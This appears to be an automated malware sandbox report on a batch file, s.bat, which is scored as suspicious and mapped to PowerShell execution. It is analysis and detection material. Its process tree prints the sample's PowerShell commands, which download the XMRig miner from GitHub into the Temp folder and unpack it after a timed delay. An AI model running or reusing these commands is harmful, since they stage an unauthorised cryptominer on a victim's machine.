c5845905301cb177cd5ba386ab909a43ed5263ddbbc470ab0da8ef8c8bc82abf

Analysis

max time kernel
16s
max time network
16s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
21-12-2024 15:07

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General

Target

s.bat
Size

1KB
MD5

1e64009a55d5a9eb64fd903f621e5ae0
SHA1

0e5de7ecc2363d16ac2ae8f244d895cff70d6cdb
SHA256

c5845905301cb177cd5ba386ab909a43ed5263ddbbc470ab0da8ef8c8bc82abf
SHA512

2b28221714861951beeb73247a7ab58f4e68d3510e030d25787a13c6c715cea2b82d51cb1f262736dde8738e9ceb59420b4d4dc724524ece75a6a13978da8695

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
3068	powershell.exe
2644	powershell.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
2612	timeout.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3068	powershell.exe
2644	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	3068	powershell.exe
Token: SeDebugPrivilege	2644	powershell.exe

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 2884 wrote to memory of 3068	2884	cmd.exe	31
PID 2884 wrote to memory of 3068	2884	cmd.exe	31
PID 2884 wrote to memory of 3068	2884	cmd.exe	31
PID 2884 wrote to memory of 2612	2884	cmd.exe	32
PID 2884 wrote to memory of 2612	2884	cmd.exe	32
PID 2884 wrote to memory of 2612	2884	cmd.exe	32
PID 2884 wrote to memory of 2644	2884	cmd.exe	33
PID 2884 wrote to memory of 2644	2884	cmd.exe	33
PID 2884 wrote to memory of 2644	2884	cmd.exe	33

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\s.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2884
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Invoke-WebRequest -Uri https://github.com/xmrig/xmrig/releases/download/v6.22.2/xmrig-6.22.2-msvc-win64.zip -OutFile C:\Users\Admin\AppData\Local\Temp\xmrig-6.22.2-msvc-win64.zip"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3068
- C:\Windows\system32\timeout.exe
  timeout /t 10
  2⤵
  - Delays execution with timeout.exe
  PID:2612
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Expand-Archive -Path C:\Users\Admin\AppData\Local\Temp\xmrig-6.22.2-msvc-win64.zip -DestinationPath C:\Users\Admin\AppData\Local\Temp\xmrig"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2644

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
ad5279340f0672b4e9e11c7e95244a78

SHA1
559916126c2d3310a9d58b870de0b43451a843ae

SHA256
aa35e660ed6423da453ad46f647a4c5b646904f9c239743d953051d5c20be4b2

SHA512
7e97bcff9f3fec9521fa6d1d23e716555e1fa8f65724b3745f3871eb993a72f2da7818da40cde56200e978d6be27e1960fc9d2b4578864e99c84be3881adf878

Download Submit
memory/2644-18-0x000000001B540000-0x000000001B822000-memory.dmp

Filesize
2.9MB

Download
memory/2644-19-0x0000000002860000-0x0000000002868000-memory.dmp

Filesize
32KB

Download
memory/3068-4-0x000007FEF5A9E000-0x000007FEF5A9F000-memory.dmp

Filesize
4KB

Download
memory/3068-5-0x000000001B770000-0x000000001BA52000-memory.dmp

Filesize
2.9MB

Download
memory/3068-7-0x000007FEF57E0000-0x000007FEF617D000-memory.dmp

Filesize
9.6MB

Download
memory/3068-9-0x000007FEF57E0000-0x000007FEF617D000-memory.dmp

Filesize
9.6MB

Download
memory/3068-8-0x000007FEF57E0000-0x000007FEF617D000-memory.dmp

Filesize
9.6MB

Download
memory/3068-6-0x0000000001F90000-0x0000000001F98000-memory.dmp

Filesize
32KB

Download
memory/3068-10-0x000007FEF57E0000-0x000007FEF617D000-memory.dmp

Filesize
9.6MB

Download
memory/3068-11-0x000007FEF57E0000-0x000007FEF617D000-memory.dmp

Filesize
9.6MB

Download
memory/3068-12-0x000007FEF57E0000-0x000007FEF617D000-memory.dmp

Filesize
9.6MB

Download